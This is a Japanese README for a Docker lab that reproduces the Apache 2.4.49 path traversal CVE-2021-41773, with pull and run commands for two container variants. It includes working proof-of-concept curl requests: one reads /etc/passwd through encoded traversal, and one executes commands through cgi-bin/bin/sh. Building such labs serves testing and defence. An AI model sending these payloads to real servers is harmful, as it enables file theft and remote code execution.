mightysai1997/cve-2021-41773sCVE-2021-41773 ApacheパストラバーサルのDockerベースの脆弱なラボ。制御された環境でのファイル読み取りとリモートコード実行のためのPoC構成を提供します。
この脆弱性は、特定の非デフォルト設定を持つバージョン 2.4.49 にのみ影響します。特定の状況では、ファイル読み取りまたはコード実行につながる可能性があります。
https://twitter.com/ptswarm/status/1445376079548624899
コンテナはDocker Hubから直接取得できます。
docker pull blueteamsteve/cve-2021-41773:no-cgid
そして次のコマンドで実行できます。
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
Apacheのログは以下のコマンドで確認できます。あるいは、上記の実行コマンドから "-dit" を除外してstdioにストリーム出力することもできます。
docker logs <container-id>
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
コンテナはDocker Hubから直接取得できます。
docker pull blueteamsteve/cve-2021-41773:with-cgid
そして次のコマンドで実行できます。
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid
Apacheのログは以下のコマンドで確認できます。あるいは、上記の実行コマンドから "-dit" を除外してstdioにストリーム出力することもできます。
docker logs <container-id>
curl 'localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'
サブディレクトリ内のdockerfileとテンプレートのhttpd.confファイルを使用して、独自のバージョンを変更・ビルドしてください。
